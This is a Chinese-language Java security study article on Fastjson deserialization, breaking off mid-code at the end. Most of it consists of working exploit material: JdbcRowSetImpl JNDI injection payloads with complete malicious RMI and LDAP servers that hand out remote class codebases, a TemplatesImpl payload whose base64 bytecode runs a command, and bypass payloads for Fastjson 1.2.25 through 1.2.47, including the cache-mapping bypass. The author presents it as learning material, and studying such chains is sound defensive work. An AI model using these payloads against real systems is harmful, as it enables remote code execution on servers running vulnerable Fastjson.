Java安全学习——Fastjson反序列化漏洞

Fastjson

概述

Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。项目地址

Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse

Fastjson的简单使用

对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。

//一个简单的Java Bean
//使用Alt+Insert快捷键快速生成setter和getter

public class Person {
    public String name;
    public int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Fastjson中用于序列化和反序列化的方法如下

//序列化
String text = JSON.toJSONString(obj); 

//反序列化
VO vo = JSON.parse();  //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}");  //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class);  //JSON文本解析成VO.class类

序列化和反序列化

下面我们进行简单的测试

import com.alibaba.fastjson.JSON;

public class Fastjson_Learning {
    public static void main(String[] args) {
        //创建一个Java Bean对象
        Person person = new Person();
        person.setName("Faster");
        person.setAge(18);

        System.out.println("--------------序列化-------------");

        //将其序列化为JSON
        String JSON_Serialize = JSON.toJSONString(person);
        System.out.println(JSON_Serialize);

        System.out.println("-------------反序列化-------------");

        //使用parse方法,将JSON反序列化为一个JSONObject
        Object o1 =  JSON.parse(JSON_Serialize);
        System.out.println(o1.getClass().getName());
        System.out.println(o1);

        System.out.println("-------------反序列化-------------");

        //使用parseObject方法,将JSON反序列化为一个JSONObject
        Object o2 = JSON.parseObject(JSON_Serialize);
        System.out.println(o2.getClass().getName());
        System.out.println(o2);

        System.out.println("-------------反序列化-------------");

        //使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
        Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
        System.out.println(o3.getClass().getName());
        System.out.println(o3);
    }
}

结果如下

--------------序列化-------------
{"age":18,"name":"Faster"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
Person
Person@e2144e4

可以看到,如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。

Fastjson中的@type

当我们在使用Fastjson序列化对象的时候,如果toJSONString()方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串。

如果我们想把JSON字符串反序列化成Java Object,可以使用parse()方法。该方法默认将JSON字符串反序列化为一个JSONObject对象。

那么我们怎么将JSON字符串反序列化为原始的类呢?这里有两种方法

第一种是序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一并序列化,如下所示

Person person = new Person();
person.setName("Faster");
person.setAge(18);

//序列化时添加额外属性
String type = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(type);

结果如下,Fastjson在JSON字符串中添加了一个@type字段,用于标识对象所属的类。

{"@type":"Person","age":18,"name":"Faster"}

在反序列化该JSON字符串的时候,parse()方法就会根据@type标识将其转为原来的类。

String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parse(JSON_Serialize));

//结果如下
Person@4459eb14

第二种方法是在反序列化的时候,在parseObject()方法中手动指定对象的类型

bject o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);

Fastjson调用流程简单分析

序列化

我通过toJSONString()方法能够将一个Java对象序列化为JSON字符串,我们简单调试一下,在setter和getter加上输出。

import com.alibaba.fastjson.JSON;

public class Fastjson_Test {
    public static void main(String[] args) {
        //创建一个Java Bean对象
        Person person = new Person();
        String JSON_Serialize = JSON.toJSONString(person);
    }
}

结果如下

可以看到toJSONString()方法实际是通过调用getter来获取对象的属性值的,进而根据这些属性值来生成JSON字符串。

反序列化

下面我们来重点关注一下parse()方法是如何将一个JSON字符串反序列化为一个JSONObject对象的

parseObject()只是对于parse()做了封装,判断返回的对象是否为JSONObject实例并强转为JSONObject类。

下面我们来测试一下,首先不使用@type标识

String JSON_Serialize = "{\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parse(JSON_Serialize));

//结果如下
{"name":"Faster","age":18}

由于没有指定对象所属的类,Fastjson只是默认将JSON反序列化为了JSONObject。

下面我们再来看看加上@type标识的情况,这里我们使用parse()方法反序列化

import com.alibaba.fastjson.JSON;

public class Fastjson_Test {
    public static void main(String[] args) {
        String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
        JSON.parse(JSON_Serialize);
    }
}

可以推测出在反序列化过程中,会parse()先调用@type标识的类的构造函数,然后再调用setter给对象赋值。

而parseObject()方法会同时调用setter和getter

String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Serialize));

可以看见parseObject()方法返回的是一个JSON Object对象,因为该方法实际上是调用parse()方法,然后调用toJSON()方法将返回值强转为JSON Object。

所以这里调用setter的实际上是parse()方法,调用getter的是toJSON()方法。

如果我们不使用@type,而是在parseObject()中手动指定类

String JSON_Serialize = "{\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Serialize,Person.class));

调用setter,返回指定类对象

源码分析

DefaultJSONParser#parseObject方法中,通过scanSymbol()方法来解析出表示符@type

接着通过反射加载@type指向的com.sun.rowset.JdbcRowSetImpl

反射加载的类的时候会对类进行黑名单检查,黑名单中只有Thread类

在反序列化类的时候会一步步判断,然后根据类来生成不同的deserializer。但是我们的JdbcRowSetImpl类并不在其中,所以会调用createJavaBeanDeserializer()方法生成一个deserializer

跟进,在JavaBeanInfo#build中会反射获取类的属性和方法

接着会在反射获取的方法中循环遍历寻找特定的setter和getter。条件如下

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

接着就会根据JSON字符串中的键值对来调用相应的setter。

Fastjson反序列化漏洞

根据上文的分析,在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。

小demo

Calc.java

import java.io.IOException;

public class Calc {
    public String calc;

    public Calc() {
        System.out.println("调用了构造函数");
    }

    public String getCalc() {
        System.out.println("调用了getter");
        return calc;
    }

    public void setCalc(String calc) throws IOException {
        this.calc = calc;
        Runtime.getRuntime().exec("calc");
        System.out.println("调用了setter");
    }
}
import com.alibaba.fastjson.JSON;

public class Fastjson_Test {
    public static void main(String[] args) {
        String JSON_Calc = "{\"@type\":\"Calc\",\"calc\":\"Faster\"}";
        System.out.println(JSON.parseObject(JSON_Calc));
    }
}

成功执行了setter中的恶意代码。因此,只要我们能找到一个合适的Java Bean,其setter或getter存在可控参数,则有可能造成任意命令执行。

Fastjson<=1.2.24

我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type这个属性的

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似。

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

RMI+JNDI

JDK版本为JDK8u_65

受害客户端 Fastjson_Jdbc_RMI.java

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_RMI {
    public static void main(String[] args) {
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", " +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }
}

恶意RMI服务端 RMI_Server_Reference.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMI_Server_Reference {
     void register() throws Exception{
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMI_Server_Reference().register();
    }
}

成功执行

LDAP+JNDI

JDK版本为JDK8u_181

我们只需要更改一下payload即可,受害客户端

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_LDAP {
    public static void main(String[] args) {
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }
}

LDAP服务器 LDAP_Server.java

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

成功执行

JdbcRowSetImpl利用链分析

问题出在JdbcRowSetImpl#setDataSourceNameJdbcRowSetImpl#setAutoCommit方法中存在可控的参数

setDataSourceName()方法会设置dataSource的值

setAutoCommit()会调用Connect()方法。所以这里AutoCommit的值其实没有用到

这里lookup()方法的参数正是dataSource,我们可以将dataSource控制为我们想要的服务地址。

调用栈如下

connect:627, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, Fastjson_Jdbc_LDAP

TemplatesImpl利用链

Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

其实TemplatesImpl这条链在我们构造CC3的时候已经利用过了,原因是TemplatesImpl#getTransletInstance中调用了defineClass()进行动态类加载,而其中的构造参数我们容易控制,这就造成了一些反序列化漏洞。

但该链的利用面较窄,由于payload需要赋值的一些属性为private类型,需要在parse()反序列化时设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性。

利用测试

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Temp {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

成功执行

源码分析

前面我们分析过,Fastjson在反序列化的时候,会自动调用类的getter和setter来为类的属性赋值。那么TemplatesImpl这条链又是怎样和Fastjson联系起来的呢?

对于TemplatesImpl链,我们的最终目标是调用defineClass()进行动态类加载。而该类中的getOutputProperties()方法能够最终走到defineClass(),并且格式也符合getter,下面我们简单的分析一下。

该方法调用了TemplatesImpl#newTransformer,跟进

继续跟进getTransletInstance()

跟进defineTransletClasses(),最终在该类中调用了defineClass()

根据上文的分析,我们的思路就很清晰了。构造一个TemplatesImpl类的JSON,并且将_outputProperties赋值,这样Fastjson在反序列化时就会调用getOutputProperties()方法了。

但在实际的payload构造过程中,还是有一些值得注意的地方的。

构造Payload

首先看getTransletInstance()方法

这里的限制如下

  • 属性_name的值不为null
  • 属性_class的值为null

接着跟进到defineTransletClasses()方法,其中__bytecodes为我们传入的恶意字节码

这里同样有两个限制

  • 这里调用了_tfactory.getExternalExtensionsMap(),也就是说_tfactory的值不为null
  • 加载的恶意类必须为AbstractTranslet类的子类

这里还有一个小问题,我们传入的_bytecodes为bytes类型,而Fastjson在解析的时候会将bytes类型进行base64加密,解密的过程相反。所以这里我们需要将恶意类的字节码base64加密。

经上文的分析,我们可以构造payload

{
\"@type\":
\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
\"_outputProperties\":{ },
'_name':'a.b',
'_tfactory':{ },
\"_bytecodes\":[\"base64\"]
}

其中恶意类为

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Payload extends AbstractTranslet {

    public Payload() throws IOException{
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        Payload payload = new Payload();
    }
}

将其编译为.class文件后进行base64编码即可。

Fastjson高版本绕过

在Fastjson1.2.24被爆出反序列化漏洞之后,Fastjson便开始了坎坷的一生。

1.2.25-1.2.41绕过

我们先来看一看1.2.25是如何修复反序列化漏洞的

在1.2.24版本会直接加载@type指向的类,而1.2.25版本增加了对类的checkAutoType()检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport

Fastjson默认AutoTypeSupport为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 

可以看到在开启白名单的条件下无法加载到我们的利用类

这里我们修改autoTypeSupport=true

我们跟进TypeUtils#loadClass看一下

TypeUtils
  • 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
  • 如果以L开头,以;结尾,则去掉开头和结尾进行类加载

那么加上L开头和;结尾实际上就可以绕过所有黑名单。Payload如下

{" 
    "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
    "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
    "\"autoCommit\":true" 
"}
//其他利用链也同理

成功执行

1.2.42绕过

1.2.42相较于之前的版本,关键是在ParserConfig.java中修改了以下两点

  • 黑名单改为了hash值,防止绕过
  • 对于传入的类名,删除开头L和结尾的;

虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)

但是可以发现在以上的处理中,只删除了一次开头的L和结尾的;,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,双写就可以轻易的绕过。

{"
    "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
    "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
    "\"autoCommit\":true" 
"}

1.2.43版本绕过

1.2.43版本修改了checkAutoType()的部分代码,对于LL等开头结尾的字符串直接抛出异常。

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

我们可以通过[{绕过,Payload如下

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
    "dataSourceName":"ldap://localhost:1399/Exploit", 
    "autoCommit":true
}

首先在恶意类前添加[,变成"[com.sun.rowset.JdbcRowSetImpl",会报错

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/EXP", "autoCommit":true}

根据提示在逗号前添加[,变成"[com.sun.rowset.JdbcRowSetImpl"[,仍报错

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

继续在逗号前添加{,变成 "[com.sun.rowset.JdbcRowSetImpl"[{,成功执行

1.2.44修复

修复了对[的限制

1.2.45绕过

1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

首先引入依赖

<dependency>
        <groupId>org.mybatis</groupId>
        <artifactId>mybatis</artifactId>
        <version>3.5.6</version>
    </dependency>

Payload如下

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:9999/EXP"
    }
}

成功执行

1.2.47通杀绕过

该版本Payload能够绕过checkAutoType内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测。

前半——将恶意类写入mapping缓存

我们现来看一下关键代码,仍是在checkAutoType()方法中

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        ...
        //前面是对typeName格式的各种检测,这里我们暂时跳过
 
        //开启autoTypeSupport,则进入白名单+黑名单检测
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;

                //白名单检测,这里我们无法绕过
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                
                //黑名单检测,可以看到这里多了一个从Mapping中寻找类名的判断,绕过的关键就在这里
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if (clazz == null) {
            //从Mapping缓冲中加载类
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        if (clazz == null) {
            //从deserializer中加载类
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            //通过上面两个方法加载类后返回
            return clazz;
        }
        
        //默认开启白名单的情况
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                //黑名单校验
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
                
                //白名单校验
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        ...

        return clazz;
    }

可以看到,如果我们在mapping中缓存有我们加载的恶意类,那么就有可能绕过黑白名单检测。下一步我们看看mapping这个属性是否可控,如果能够将我们的恶意类写入mapping中,那么就有可能绕过checkAutoType()的检测

下面我们看一看TypeUtils#getClassFromMapping方法

mapping中获取类名,下面我们就来看看mapping是在哪里赋值的,寻找mapping.put方法,

在以下两个方法中被调用

TypeUtils#addBaseClassMappings
TypeUtils#loadClass

其中TypeUtils#addBaseClassMappings为无参方法,并且没有我们可控的参数。

我们直接看TypeUtils#loadClass方法,这个方法其实之前我们也分析过了,就是在加载类之前对类名做一些检查和判断,这部分代码我们就先跳过。

 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {

        ...
        //对类名进行检查和判断
        try{
            //第一处,classLoader不为null
            if(classLoader != null){
                clazz = classLoader.loadClass(className);

                //如果chche为true,则将我们输入的className缓存入mapping中
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

            //第二处,检查较为严格
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
 
                //如果chche为true,则将我们输入的className缓存入mapping中
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }

        //第三处,限制宽松,但
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

可以看见以上有三个地方能够向mapping写入恶意类,我们先看看哪里调用了loadClass

就在TypeUtils的同名方法中,并且cache默认为true,完美符合,接着寻找调用。

在MiscCodec#deserialze中

其中clazz必须为Class.class,可以由@type控制。strVal即为我们要控制的className,我们先看看strVal在哪里被赋值的

接着找objVal的赋值

Object objVal;

        //if判断默认为true
        if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
            parser.resolveStatus = DefaultJSONParser.NONE;
            parser.accept(JSONToken.COMMA);

            if (lexer.token() == JSONToken.LITERAL_STRING) {

                //必须有val属性
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }
                lexer.nextToken();
            } else {
                throw new JSONException("syntax error");
            }

            parser.accept(JSONToken.COLON);

            //objVal的值为从JSON中解析到的val的值
            objVal = parser.parse();

            parser.accept(JSONToken.RBRACE);
        } else {
            objVal = parser.parse();
        }

由此我们可以构造出前半部分payload

{
//满足clazz为Class.class
"@type":"java.lang.Class",

//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}

可以看见这里已经将我们的恶意类写入到了mapping中

后半——从mapping中加载恶意类

上文我们已经分析过了,通过从mapping中加载恶意类可以绕过checkAutoType()的检测,当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类

可以看见这里的clazz已经被设置为了恶意类,后续的利用就和低版本的利用链一样了。

完整Payload

{
     "1":{
           "@type":"java.lang.Class",
           "val":"com.sun.rowset.JdbcRowSetImpl"
         }
          
     "2":{    
           "@type":"com.sun.rowset.JdbcRowSetImpl",
           "dataSourceName":"ldap://127.0.0.1:9999/EXP",
           "autoCommit":"true"
         }
}

经测试,该版本Payload基本通杀全版本的Fastjson。其他利用链构造方式同上。

利用测试

Fastjson_Jdbc_LDAP.java

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_LDAP {
    public static void main(String[] args) {
        String payload = "{" +
                "\"1\":{" +
